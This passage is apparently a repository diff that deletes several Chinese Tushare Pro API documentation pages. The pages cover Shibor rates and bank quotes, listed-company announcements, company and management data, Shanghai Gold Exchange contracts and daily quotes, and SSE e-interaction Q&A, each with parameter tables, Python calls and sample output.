</thead>
<tbody><tr>
<td>date</td>
<td>str</td>
<td>N</td>
<td>日期 (日期输入格式:YYYYMMDD,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>date</td>
<td>str</td>
<td>Y</td>
<td>日期</td>
</tr>
<tr>
<td>on</td>
<td>float</td>
<td>Y</td>
<td>隔夜</td>
</tr>
<tr>
<td>1w</td>
<td>float</td>
<td>Y</td>
<td>1周</td>
</tr>
<tr>
<td>2w</td>
<td>float</td>
<td>Y</td>
<td>2周</td>
</tr>
<tr>
<td>1m</td>
<td>float</td>
<td>Y</td>
<td>1个月</td>
</tr>
<tr>
<td>3m</td>
<td>float</td>
<td>Y</td>
<td>3个月</td>
</tr>
<tr>
<td>6m</td>
<td>float</td>
<td>Y</td>
<td>6个月</td>
</tr>
<tr>
<td>9m</td>
<td>float</td>
<td>Y</td>
<td>9个月</td>
</tr>
<tr>
<td>1y</td>
<td>float</td>
<td>Y</td>
<td>1年</td>
</tr>
</tbody></table>
接口调用
```
pro = ts.pro_api()
df = pro.shibor(start_date='20180101', end_date='20181101')
```
数据样例
```
date on 1w 2w 1m 3m 6m 9m 1y
0 20181101 2.5470 2.6730 2.6910 2.6960 2.9760 3.2970 3.5040 3.5500
1 20181031 2.3700 2.7150 2.7300 2.6890 2.9630 3.2980 3.5040 3.5500
2 20181030 1.5660 2.5980 2.6400 2.6630 2.9570 3.2950 3.5010 3.5500
3 20181029 1.8520 2.6090 2.6510 2.6720 2.9580 3.2970 3.5020 3.5500
4 20181026 2.0670 2.6180 2.6500 2.6730 2.9520 3.2970 3.5020 3.5500
5 20181025 2.2150 2.6300 2.6510 2.6750 2.9480 3.2970 3.5050 3.5520
6 20181024 2.3930 2.6310 2.6530 2.6750 2.9240 3.2960 3.4980 3.5440
7 20181023 2.4510 2.6350 2.6530 2.6720 2.9030 3.2890 3.4880 3.5320
8 20181022 2.4750 2.6320 2.6500 2.6630 2.8710 3.2770 3.4710 3.5160
9 20181019 2.4450 2.6220 2.6480 2.6550 2.8420 3.2670 3.4560 3.5070
10 20181018 2.4270 2.6110 2.6370 2.6510 2.8320 3.2600 3.4530 3.5040
11 20181017 2.3530 2.6040 2.6320 2.6510 2.8180 3.2540 3.4500 3.5050
12 20181016 2.3730 2.6030 2.6330 2.6580 2.8000 3.2530 3.4500 3.5050
13 20181015 2.3770 2.6120 2.6370 2.6680 2.8010 3.2530 3.4510 3.5050
14 20181012 2.4390 2.6150 2.6440 2.6820 2.8000 3.2500 3.4530 3.5050
15 20181011 2.3600 2.6110 2.6500 2.6920 2.8010 3.2510 3.4550 3.5060
16 20181010 2.3980 2.6180 2.6730 2.7050 2.8100 3.2530 3.4590 3.5020
17 20181009 2.5020 2.6330 2.7030 2.7340 2.8160 3.2580 3.4640 3.5040
18 20181008 2.5360 2.6570 2.7660 2.7810 2.8360 3.2690 3.4760 3.5120
19 20180930 2.6530 2.7660 3.4730 2.8020 2.8470 3.2870 3.4890 3.5210
20 20180929 2.0730 2.7830 3.3100 2.8020 2.8460 3.2850 3.4890 3.5210
```

View file

@ -1,226 +0,0 @@
# Shibor报价数据
**文档ID**: 150
**原始链接**: https://tushare.pro/document/2?doc_id=150
---
## Shibor报价数据
接口:shibor_quote描述:Shibor报价数据限量:单次最大4000行数据,总量不限制,可通过设置开始和结束日期分段获取积分:用户积累120积分可以调取,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>date</td>
<td>str</td>
<td>N</td>
<td>日期 (日期输入格式:YYYYMMDD,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
<tr>
<td>bank</td>
<td>str</td>
<td>N</td>
<td>银行名称 (中文名称,例如 农业银行)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>date</td>
<td>str</td>
<td>Y</td>
<td>日期</td>
</tr>
<tr>
<td>bank</td>
<td>str</td>
<td>Y</td>
<td>报价银行</td>
</tr>
<tr>
<td>on_b</td>
<td>float</td>
<td>Y</td>
<td>隔夜_Bid</td>
</tr>
<tr>
<td>on_a</td>
<td>float</td>
<td>Y</td>
<td>隔夜_Ask</td>
</tr>
<tr>
<td>1w_b</td>
<td>float</td>
<td>Y</td>
<td>1周_Bid</td>
</tr>
<tr>
<td>1w_a</td>
<td>float</td>
<td>Y</td>
<td>1周_Ask</td>
</tr>
<tr>
<td>2w_b</td>
<td>float</td>
<td>Y</td>
<td>2周_Bid</td>
</tr>
<tr>
<td>2w_a</td>
<td>float</td>
<td>Y</td>
<td>2周_Ask</td>
</tr>
<tr>
<td>1m_b</td>
<td>float</td>
<td>Y</td>
<td>1月_Bid</td>
</tr>
<tr>
<td>1m_a</td>
<td>float</td>
<td>Y</td>
<td>1月_Ask</td>
</tr>
<tr>
<td>3m_b</td>
<td>float</td>
<td>Y</td>
<td>3月_Bid</td>
</tr>
<tr>
<td>3m_a</td>
<td>float</td>
<td>Y</td>
<td>3月_Ask</td>
</tr>
<tr>
<td>6m_b</td>
<td>float</td>
<td>Y</td>
<td>6月_Bid</td>
</tr>
<tr>
<td>6m_a</td>
<td>float</td>
<td>Y</td>
<td>6月_Ask</td>
</tr>
<tr>
<td>9m_b</td>
<td>float</td>
<td>Y</td>
<td>9月_Bid</td>
</tr>
<tr>
<td>9m_a</td>
<td>float</td>
<td>Y</td>
<td>9月_Ask</td>
</tr>
<tr>
<td>1y_b</td>
<td>float</td>
<td>Y</td>
<td>1年_Bid</td>
</tr>
<tr>
<td>1y_a</td>
<td>float</td>
<td>Y</td>
<td>1年_Ask</td>
</tr>
</tbody></table>
接口调用
```
pro = ts.pro_api()
df = pro.shibor_quote(start_date='20180101', end_date='20181101')
```
数据样例
```
date bank on_b on_a 1w_b 1w_a 2w_b 2w_a 1m_b 1m_a \
0 20181101 民生银行 2.540 2.540 2.65 2.65 2.67 2.67 2.680 2.680
1 20181101 国开行 2.570 2.570 2.71 2.71 2.75 2.75 2.690 2.690
2 20181101 邮储银行 2.550 2.550 2.72 2.72 2.72 2.72 2.690 2.690
3 20181101 广发银行 2.560 2.560 2.66 2.66 2.68 2.68 2.720 2.720
4 20181101 华夏银行 2.550 2.550 2.72 2.72 2.73 2.73 2.690 2.690
5 20181101 汇丰中国 2.550 2.550 2.65 2.65 2.68 2.68 2.690 2.690
6 20181101 上海银行 2.560 2.560 2.70 2.70 2.73 2.73 2.690 2.690
7 20181101 北京银行 2.570 2.570 2.67 2.67 2.65 2.65 2.600 2.600
8 20181101 浦发银行 2.560 2.560 2.75 2.75 2.65 2.65 2.700 2.700
9 20181101 兴业银行 2.530 2.530 2.65 2.65 2.60 2.60 2.500 2.500
10 20181101 光大银行 2.540 2.540 2.65 2.65 2.70 2.70 2.720 2.720
11 20181101 中信银行 2.550 2.550 2.65 2.65 2.70 2.70 2.700 2.700
12 20181101 招商银行 2.540 2.540 2.67 2.67 2.65 2.65 2.700 2.700
13 20181101 交通银行 2.540 2.540 2.68 2.68 2.72 2.72 2.690 2.690
14 20181101 建设银行 2.530 2.530 2.67 2.67 2.68 2.68 2.720 2.720
15 20181101 中国银行 2.540 2.540 2.65 2.65 2.66 2.66 2.680 2.680
16 20181101 农业银行 2.550 2.550 2.70 2.70 2.75 2.75 2.760 2.760
17 20181101 工商银行 2.500 2.500 2.68 2.68 2.70 2.70 2.720 2.720
18 20181031 民生银行 2.310 2.310 2.72 2.72 2.73 2.73 2.730 2.730
19 20181031 国开行 2.370 2.370 2.75 2.75 2.76 2.76 2.690 2.690
20 20181031 邮储银行 2.350 2.350 2.73 2.73 2.72 2.72 2.670 2.670
3m_b 3m_a 6m_b 6m_a 9m_b 9m_a 1y_b 1y_a
0 2.960 2.960 3.290 3.290 3.510 3.510 3.550 3.550
1 2.970 2.970 3.320 3.320 3.530 3.530 3.570 3.570
2 2.960 2.960 3.300 3.300 3.500 3.500 3.550 3.550
3 3.000 3.000 3.250 3.250 3.500 3.500 3.550 3.550
4 2.970 2.970 3.300 3.300 3.510 3.510 3.550 3.550
5 2.970 2.970 3.300 3.300 3.500 3.500 3.550 3.550
6 2.960 2.960 3.300 3.300 3.510 3.510 3.550 3.550
7 3.000 3.000 3.400 3.400 3.550 3.550 3.600 3.600
8 2.960 2.960 3.300 3.300 3.500 3.500 3.550 3.550
9 2.950 2.950 3.100 3.100 3.400 3.400 3.500 3.500
10 3.000 3.000 3.300 3.300 3.500 3.500 3.550 3.550
11 3.000 3.000 3.300 3.300 3.550 3.550 3.550 3.550
12 3.100 3.100 3.300 3.300 3.550 3.550 3.550 3.550
13 2.970 2.970 3.300 3.300 3.510 3.510 3.560 3.560
14 3.000 3.000 3.260 3.260 3.500 3.500 3.550 3.550
15 2.940 2.940 3.280 3.280 3.480 3.480 3.520 3.520
16 3.000 3.000 3.300 3.300 3.500 3.500 3.550 3.550
17 2.880 2.880 3.240 3.240 3.420 3.420 3.470 3.470
18 2.970 2.970 3.300 3.300 3.500 3.500 3.550 3.550
19 2.960 2.960 3.320 3.320 3.520 3.520 3.560 3.560
20 2.960 2.960 3.300 3.300 3.500 3.500 3.550 3.550
```

View file

@ -1,124 +0,0 @@
# 上市公司公告
**文档ID**: 176
**原始链接**: https://tushare.pro/document/2?doc_id=176
---
## 上市公司全量公告
接口:anns_d描述:获取全量公告数据,提供pdf下载URL限量:单次最大2000条数,可以跟进日期循环获取全量权限:本接口为单独权限,请参考权限说明
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>股票代码</td>
</tr>
<tr>
<td>ann_date</td>
<td>str</td>
<td>N</td>
<td>公告日期(yyyymmdd格式,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>公告开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>公告结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ann_date</td>
<td>str</td>
<td>Y</td>
<td>公告日期</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>股票代码</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>股票名称</td>
</tr>
<tr>
<td>title</td>
<td>str</td>
<td>Y</td>
<td>标题</td>
</tr>
<tr>
<td>url</td>
<td>str</td>
<td>Y</td>
<td>URL,原文下载链接</td>
</tr>
<tr>
<td>rec_time</td>
<td>datetime</td>
<td>N</td>
<td>发布时间</td>
</tr>
</tbody></table>
接口调用
```
pro = ts.pro_api()
df = pro.anns_d(ann_date='20230621')
```
数据样例
```
ann_date ts_code name title
0 20230621 600590.SH 泰豪科技 第八届董事会第十五次会议决议公告
1 20230621 300504.SZ 天邑股份 天邑股份:关于回购注销部分限制性股票的公告
2 20230621 002815.SZ 崇达技术 崇达技术:中信建投证券股份有限公司关于崇达技术股份有限公司2022年限制性股票激励计划首次授...
3 20230621 600212.SH 绿能慧充 绿能慧充2022年年度股东大会会议资料
4 20230621 002508.SZ 老板电器 老板电器:关于向激励对象授予股票期权的公告
... ... ... ... ...
1995 20230620 600152.SH 维科技术 维科技术关于向2022年股票期权激励计划激励对象授予预留部分股票期权(第二批次)的公告
1996 20230620 301290.SZ 东星医疗 东星医疗:关于对深圳证券交易所关注函的回复公告
1997 20230620 600998.SH 九州通 九州通关于控股股东2022年非公开发行可交换公司债券(第二、三期)进入换股期的提示性公告
1998 20230620 300371.SZ 汇中股份 汇中股份:关于子公司完成工商变更的公告
1999 20230620 300061.SZ 旗天科技 旗天科技:关于为子公司提供担保的公告
[2000 rows x 4 columns]
```

View file

@ -1,189 +0,0 @@
# 上市公司基本信息
**文档ID**: 112
**原始链接**: https://tushare.pro/document/2?doc_id=112
---
## 上市公司基本信息
接口:stock_company,可以通过数据工具调试和查看数据。描述:获取上市公司基础信息,单次提取4500条,可以根据交易所分批提取积分:用户需要至少120积分才可以调取,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必须</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>股票代码</td>
</tr>
<tr>
<td>exchange</td>
<td>str</td>
<td>N</td>
<td>交易所代码 ,SSE上交所 SZSE深交所 BSE北交所</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>股票代码</td>
</tr>
<tr>
<td>com_name</td>
<td>str</td>
<td>Y</td>
<td>公司全称</td>
</tr>
<tr>
<td>com_id</td>
<td>str</td>
<td>Y</td>
<td>统一社会信用代码</td>
</tr>
<tr>
<td>exchange</td>
<td>str</td>
<td>Y</td>
<td>交易所代码</td>
</tr>
<tr>
<td>chairman</td>
<td>str</td>
<td>Y</td>
<td>法人代表</td>
</tr>
<tr>
<td>manager</td>
<td>str</td>
<td>Y</td>
<td>总经理</td>
</tr>
<tr>
<td>secretary</td>
<td>str</td>
<td>Y</td>
<td>董秘</td>
</tr>
<tr>
<td>reg_capital</td>
<td>float</td>
<td>Y</td>
<td>注册资本(万元)</td>
</tr>
<tr>
<td>setup_date</td>
<td>str</td>
<td>Y</td>
<td>注册日期</td>
</tr>
<tr>
<td>province</td>
<td>str</td>
<td>Y</td>
<td>所在省份</td>
</tr>
<tr>
<td>city</td>
<td>str</td>
<td>Y</td>
<td>所在城市</td>
</tr>
<tr>
<td>introduction</td>
<td>str</td>
<td>N</td>
<td>公司介绍</td>
</tr>
<tr>
<td>website</td>
<td>str</td>
<td>Y</td>
<td>公司主页</td>
</tr>
<tr>
<td>email</td>
<td>str</td>
<td>Y</td>
<td>电子邮件</td>
</tr>
<tr>
<td>office</td>
<td>str</td>
<td>N</td>
<td>办公室</td>
</tr>
<tr>
<td>employees</td>
<td>int</td>
<td>Y</td>
<td>员工人数</td>
</tr>
<tr>
<td>main_business</td>
<td>str</td>
<td>N</td>
<td>主要业务及产品</td>
</tr>
<tr>
<td>business_scope</td>
<td>str</td>
<td>N</td>
<td>经营范围</td>
</tr>
</tbody></table>
接口示例
```
pro = ts.pro_api()
#或者
#pro = ts.pro_api('your token')
df = pro.stock_company(exchange='SZSE', fields='ts_code,chairman,manager,secretary,reg_capital,setup_date,province')
```
数据示例
```
ts_code chairman manager secretary reg_capital setup_date province \
0 000001.SZ 谢永林 胡跃飞 周强 1.717041e+06 19871222 广东
1 000002.SZ 郁亮 祝九胜 朱旭 1.103915e+06 19840530 广东
2 000003.SZ 马钟鸿 马钟鸿 安汪 3.334336e+04 19880208 广东
3 000004.SZ 李林琳 李林琳 徐文苏 8.397668e+03 19860505 广东
4 000005.SZ 丁芃 郑列列 罗晓春 1.058537e+05 19870730 广东
5 000006.SZ 赵宏伟 朱新宏 杜汛 1.349995e+05 19850525 广东
6 000007.SZ 智德宇 智德宇 陈伟彬 3.464480e+04 19830311 广东
7 000008.SZ 王志全 钟岩 王志刚 2.818330e+05 19891011 北京
8 000009.SZ 陈政立 陈政立 郭山清 2.149345e+05 19830706 广东
9 000010.SZ 曾嵘 李德友 金小刚 8.198547e+04 19881231 广东
10 000011.SZ 刘声向 王航军 范维平 5.959791e+04 19830117 广东
11 000012.SZ 陈琳 王健 杨昕宇 2.863277e+05 19840910 广东
12 000013.SZ 厉怒江 阮克竖 刘渝敏 3.033550e+04 19920114 广东
13 000014.SZ 陈勇 温毅 王凡 2.017052e+04 19870727 广东
14 000015.SZ 宿南南 马骧 蒋孝安 1.598761e+05 19880408 广东
15 000016.SZ 刘凤喜 周彬 吴勇军 2.407945e+05 19801001 广东
```

View file

@ -1,175 +0,0 @@
# 上市公司管理层
**文档ID**: 193
**原始链接**: https://tushare.pro/document/2?doc_id=193
---
## 上市公司管理层
接口:stk_managers描述:获取上市公司管理层积分:用户需要2000积分才可以调取,5000积分以上频次相对较高,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>股票代码,支持单个或多个股票输入</td>
</tr>
<tr>
<td>ann_date</td>
<td>str</td>
<td>N</td>
<td>公告日期(YYYYMMDD格式,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>公告开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>公告结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>TS股票代码</td>
</tr>
<tr>
<td>ann_date</td>
<td>str</td>
<td>Y</td>
<td>公告日期</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>姓名</td>
</tr>
<tr>
<td>gender</td>
<td>str</td>
<td>Y</td>
<td>性别</td>
</tr>
<tr>
<td>lev</td>
<td>str</td>
<td>Y</td>
<td>岗位类别</td>
</tr>
<tr>
<td>title</td>
<td>str</td>
<td>Y</td>
<td>岗位</td>
</tr>
<tr>
<td>edu</td>
<td>str</td>
<td>Y</td>
<td>学历</td>
</tr>
<tr>
<td>national</td>
<td>str</td>
<td>Y</td>
<td>国籍</td>
</tr>
<tr>
<td>birthday</td>
<td>str</td>
<td>Y</td>
<td>出生年月</td>
</tr>
<tr>
<td>begin_date</td>
<td>str</td>
<td>Y</td>
<td>上任日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>Y</td>
<td>离任日期</td>
</tr>
<tr>
<td>resume</td>
<td>str</td>
<td>N</td>
<td>个人简历</td>
</tr>
</tbody></table>
接口用例
```
pro = ts.pro_api()
#获取单个公司高管全部数据
df = pro.stk_managers(ts_code='000001.SZ')
#获取多个公司高管全部数据
df = pro.stk_managers(ts_code='000001.SZ,600000.SH')
```
数据样例
```
ts_code ann_date name gender ... national birthday begin_date end_date
0 000001.SZ 20190604 姚贵平 M ... 中国 1961 20180815 20190604
1 000001.SZ 20190604 姚贵平 M ... 中国 1961 20170629 20190604
2 000001.SZ 20190604 姚贵平 M ... 中国 1961 20180129 20190604
3 000001.SZ 20190309 吴鹏 M ... 中国 1965 20110817 20190309
4 000001.SZ 20190307 孙永桢 F ... 中国 1968 20181025 None
5 000001.SZ 20180816 杨志群 M ... 中国 1970 20180815 None
6 000001.SZ 20180816 郭世邦 M ... 中国 1965 20180815 None
7 000001.SZ 20180405 何之江 M ... 中国 1965 20170513 20180405
8 000001.SZ 20180203 项有志 M ... 中国 1964 20170913 None
9 000001.SZ 20180130 杨如生 M ... 中国 196802 20161107 None
10 000001.SZ 20180130 蔡方方 F ... 中国 1974 20161107 None
11 000001.SZ 20180130 郭田勇 M ... 中国 196808 20161107 None
12 000001.SZ 20180130 郭建 M ... 中国 1964 20161107 None
13 000001.SZ 20180130 杨如生 M ... 中国 196802 20161107 None
14 000001.SZ 20180130 杨如生 M ... 中国 196802 20161107 None
15 000001.SZ 20180130 姚波 M ... 中国 1971 20101227 None
16 000001.SZ 20180130 王春汉 M ... 中国 1951 20160811 None
17 000001.SZ 20180130 郭田勇 M ... 中国 196808 20160811 None
18 000001.SZ 20180130 郭田勇 M ... 中国 196808 20160811 None
19 000001.SZ 20180130 韩小京 M ... 中国 1955 20140121 None
20 000001.SZ 20180130 陈心颖 F ... 新加坡 1977 20140121 None
21 000001.SZ 20180130 蔡方方 F ... 中国 1974 20140121 None
22 000001.SZ 20180130 王松奇 M ... 中国 1952 20140121 None
23 000001.SZ 20180130 王春汉 M ... 中国 1951 20140121 None
24 000001.SZ 20180130 韩小京 M ... 中国 1955 20140121 None
```

View file

@ -1,162 +0,0 @@
# 上海黄金基础信息
**文档ID**: 284
**原始链接**: https://tushare.pro/document/2?doc_id=284
---
## 黄金现货基础信息
接口:sge_basic描述:获取上海黄金交易所现货合约基础信息限量:单次最大100条,当前现货合约数不足20个,可以一次提取全部,不需要循环提取积分:用户积5000积分可以调取,具体请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>合约代码 (支持多个,逗号分隔,不输入为获取全部)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>品种代码</td>
</tr>
<tr>
<td>ts_name</td>
<td>str</td>
<td>Y</td>
<td>品种名称</td>
</tr>
<tr>
<td>trade_type</td>
<td>str</td>
<td>Y</td>
<td>交易类型</td>
</tr>
<tr>
<td>t_unit</td>
<td>float</td>
<td>Y</td>
<td>交易单位(克/手)</td>
</tr>
<tr>
<td>p_unit</td>
<td>float</td>
<td>Y</td>
<td>报价单位</td>
</tr>
<tr>
<td>min_change</td>
<td>float</td>
<td>Y</td>
<td>最小变动价位</td>
</tr>
<tr>
<td>price_limit</td>
<td>float</td>
<td>Y</td>
<td>每日价格最大波动限制</td>
</tr>
<tr>
<td>min_vol</td>
<td>int</td>
<td>Y</td>
<td>最小单笔报价量(手)</td>
</tr>
<tr>
<td>max_vol</td>
<td>int</td>
<td>Y</td>
<td>最大单笔报价量(手)</td>
</tr>
<tr>
<td>trade_mode</td>
<td>str</td>
<td>Y</td>
<td>交易期限</td>
</tr>
<tr>
<td>margin_rate</td>
<td>float</td>
<td>Y</td>
<td>保证金比例</td>
</tr>
<tr>
<td>liq_rate</td>
<td>float</td>
<td>Y</td>
<td>违约金比例(%)</td>
</tr>
<tr>
<td>trade_time</td>
<td>str</td>
<td>Y</td>
<td>交易时间</td>
</tr>
<tr>
<td>list_date</td>
<td>str</td>
<td>Y</td>
<td>上市日期</td>
</tr>
</tbody></table>
接口用法
```
pro = ts.pro_api()
df = pro.sge_basic()
```
或者
```
df = pro.sge_basic(ts_code='Au99.95')
```
数据样例
```
ts_code ts_name min_vol max_vol trade_time
0 Au99.95 黄金9995 1 500 白天:9:00至15:30,夜间:19:50 至次日 02:30
1 Au99.99 黄金9999 1 50000 白天:9:00至15:30,夜间:19:50 至次日 02:30
2 Au(T+D) 黄金延期 1 200 上午:9:00 至 11:30,下午 ...
3 Pt99.95 铂金9995 1 1000 白天:9:00至15:30,夜间:19:50 至次日 02:30
4 Ag(T+D) 白银延期 1 2000 上午:9:00 至 11:30,下午:...
5 Au100g 100克金条 1 1000 白天:9:00至15:30,夜间:19:50 至次日 02:30
6 Au(T+N1) 黄金T+N1 1 2000 上午:9:00 至 11:30,下午:13:30 至 ...
7 Au(T+N2) 黄金T+N2 1 2000 上午:9:00 至 11:30,下午:13:30 至 ...
8 mAu(T+D) 迷你黄金延期 1 2000 上午:9:00 至 11:30,下午:13:30 至 ...
9 iAu99.99 国际板黄金9999 1 50000 白天:9:00至15:30,夜间:19:50 至次日 02:30
10 PGC30g 熊猫金币30克 1 1000 白天:9:00至15:30,夜间:20:00至次日02:30
11 NYAuTN06 沪纽金AuTN06 1 2000 白天:9:00至15:30,夜间:19:50 至次日 02:30
12 NYAuTN12 沪纽金AuTN12 1 2000 白天:9:00至15:30,夜间:19:50 至次日 02:30
```

View file

@ -1,179 +0,0 @@
# 上海黄金现货日行情
**文档ID**: 285
**原始链接**: https://tushare.pro/document/2?doc_id=285
---
## 现货黄金日行情
接口:sge_daily描述:获取上海黄金交易所现货合约日线行情限量:单次最大2000,可循环或者分页提取积分:用户积2000积分可调取,具体请参阅积分获取办法
注:数据由当日9:00至15:30的交易和前一日夜盘的20:00至2:30数据构成,成交量和成交金额为双向计量。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>合约代码,可通过<a href="https://tushare.pro/document/2?doc_id=284">基础信息</a>获得</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>现货合约代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日</td>
</tr>
<tr>
<td>close</td>
<td>float</td>
<td>Y</td>
<td>收盘点(元/克)</td>
</tr>
<tr>
<td>open</td>
<td>float</td>
<td>Y</td>
<td>开盘点(元/克)</td>
</tr>
<tr>
<td>high</td>
<td>float</td>
<td>Y</td>
<td>最高点(元/克)</td>
</tr>
<tr>
<td>low</td>
<td>float</td>
<td>Y</td>
<td>最低点(元/克)</td>
</tr>
<tr>
<td>price_avg</td>
<td>float</td>
<td>Y</td>
<td>加权平均价(元/克)</td>
</tr>
<tr>
<td>change</td>
<td>float</td>
<td>Y</td>
<td>涨跌点位(元/克)</td>
</tr>
<tr>
<td>pct_change</td>
<td>float</td>
<td>Y</td>
<td>涨跌幅</td>
</tr>
<tr>
<td>vol</td>
<td>float</td>
<td>Y</td>
<td>成交量(千克)</td>
</tr>
<tr>
<td>amount</td>
<td>float</td>
<td>Y</td>
<td>成交金额(元)</td>
</tr>
<tr>
<td>oi</td>
<td>float</td>
<td>Y</td>
<td>市场持仓</td>
</tr>
<tr>
<td>settle_vol</td>
<td>float</td>
<td>Y</td>
<td>交收量</td>
</tr>
<tr>
<td>settle_dire</td>
<td>str</td>
<td>Y</td>
<td>持仓方向</td>
</tr>
</tbody></table>
接口示例
```
pro = ts.pro_api()
#获取单日统计数据
df = pro.sge_daily(trade_date='20220311')
#获取某合约指定日期,指定字段输出的数据
df = pro.sge_daily(ts_code='', start_date='20220301', end_date='20220311', fields='ts_code,close,open,vol')
```
数据示例
```
ts_code trade_date close open high low vol settle_dire
0 Au99.95 20220311 403.3000 403.2000 403.3000 403.2000 24.00 None
1 Au99.99 20220311 403.6000 405.9700 408.0000 402.8000 13667.66 None
2 Au(T+D) 20220311 403.2200 405.0100 407.7000 402.5300 27196.00 空支付给多
3 Pt99.95 20220311 227.0400 228.0000 228.0000 226.3000 384.00 None
4 Ag(T+D) 20220311 5.1340 5.1820 5.1850 5.1090 2428664.00 空支付给多
5 Au100g 20220311 403.0300 405.4500 406.0000 402.3600 29.40 None
6 Au(T+N1) 20220311 405.7000 408.0000 408.0000 402.2000 21.80 None
7 Au(T+N2) 20220311 408.1000 411.0000 414.5000 408.0500 91.20 None
8 mAu(T+D) 20220311 403.4400 406.6200 407.7500 402.7500 4367.80 空支付给多
9 iAu99.99 20220311 405.3400 406.3000 408.0000 405.0000 2.06 None
10 PGC30g 20220311 409.3200 410.0000 410.0000 408.9000 0.36 None
11 NYAuTN06 20220311 404.5500 407.8500 408.8000 404.0000 15.80 None
12 NYAuTN12 20220311 409.0500 413.8500 413.8500 408.9000 214.40 None
```

View file

@ -1,135 +0,0 @@
# 上证e互动问答
**文档ID**: 366
**原始链接**: https://tushare.pro/document/2?doc_id=366
---
## 上证E互动
接口:irm_qa_sh,历史数据开始于2023年6月。描述:获取上交所e互动董秘问答文本数据。上证e互动是由上海证券交易所建立、上海证券市场所有参与主体无偿使用的沟通平台,旨在引导和促进上市公司、投资者等各市场参与主体之间的信息沟通,构建集中、便捷的互动渠道。本接口数据记录了以上沟通问答的文本数据。限量:单次请求最大返回3000行数据,可根据股票代码,日期等参数循环提取全部数据权限:用户后120积分可以试用,正式权限为10000积分,或申请单独开权限,请参考权限说明
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>股票代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(格式YYYYMMDD,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
<tr>
<td>pub_date</td>
<td>str</td>
<td>N</td>
<td>发布开始日期(格式:2025-06-03 16:43:03)</td>
</tr>
<tr>
<td>pub_date</td>
<td>str</td>
<td>N</td>
<td>发布结束日期(格式:2025-06-03 18:43:23)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
